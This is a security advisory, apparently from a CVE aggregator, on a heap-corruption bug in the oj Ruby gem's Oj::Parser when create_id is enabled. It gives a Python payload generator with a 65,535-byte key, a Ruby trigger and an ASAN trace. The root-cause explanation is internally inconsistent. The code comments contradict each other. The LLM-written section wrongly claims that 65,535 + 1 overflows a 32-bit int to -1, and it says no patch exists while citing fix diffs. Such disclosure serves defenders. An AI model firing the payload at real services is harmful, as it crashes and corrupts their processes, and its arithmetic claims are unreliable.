Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling
Description
Summary
Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/usual.c, form_attr:
// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
char buf[4096];
// ...
int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0
// or: 65535 cast to int = 65535 (fits),
// but blen = 65536 → INT overflow on +1 if slen=INT_MAX
// ...
memcpy(buf, "@", 1);
memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX
}
The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.
ASAN report: `` ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 form_attr /ext/oj/usual.c:63 #2 cache_intern /ext/oj/cache.c:326 #3 get_attr_id /ext/oj/usual.c:186 #4 close_object_create /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parser_parse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800) ``
Reproduce
Generate the payload:
key = 'A' * 65535
with open('poc.json', 'w') as f:
f.write('{"json_class":"Oj::Bag","' + key + '":1}')
Trigger:
require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1Patches
Vulnerability mechanics
Root cause
"Integer truncation in `form_attr` converts a 65,535-byte key length to `-1`, causing `memcpy` to copy `SIZE_MAX` bytes and corrupt heap memory."
Attack vector
An attacker supplies a crafted JSON payload where a key is exactly 65,535 bytes long and the JSON object uses a `create_id` key (e.g. `"json_class":"Oj::Bag"`). When `Oj::Parser#parse` processes this key in usual mode, the integer truncation in `form_attr` converts the length to `-1`, causing `memcpy` to copy `SIZE_MAX` bytes and corrupt heap memory [ref_id=1][ref_id=2]. The attack requires no authentication and is triggered over the network by submitting the malicious JSON to any application that parses untrusted input with the vulnerable parser configuration.
Affected code
The vulnerability resides in `ext/oj/usual.c` in the `form_attr` function (lines 55–64). The call chain is `form_attr` → `cache_intern` (`ext/oj/cache.c:326`) → `get_attr_id` (`usual.c:186`) → `close_object_create` (`usual.c:374`) → `parse` (`parser.c:693`).
What the fix does
The advisory does not include a published patch, but the root cause is clear: in `form_attr`, the variable `blen` is declared as `int` and computed as `(int)slen + 1`. When `slen` is 65,535, the addition overflows a signed 32-bit integer, producing `-1`, which is then cast to `size_t` for `memcpy` [ref_id=1][ref_id=2]. A correct fix would use a `size_t` type for `blen` and check that `slen + 1` does not exceed the destination buffer size before calling `memcpy`.
Preconditions
- configThe application must use Oj::Parser with `:usual` mode and `create_id` option enabled
- inputThe attacker must be able to supply a JSON payload with a key of exactly 65,535 bytes
- inputThe JSON object must include a `create_id` key (e.g. `json_class`) to trigger the vulnerable code path
Reproduction
Generate the payload: ```python key = 'A' * 65535 with open('poc.json', 'w') as f: f.write('{"json_class":"Oj::Bag","' + key + '":1}') ``` Trigger: ```ruby require 'oj' Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read) ```
Generated on Jun 19, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.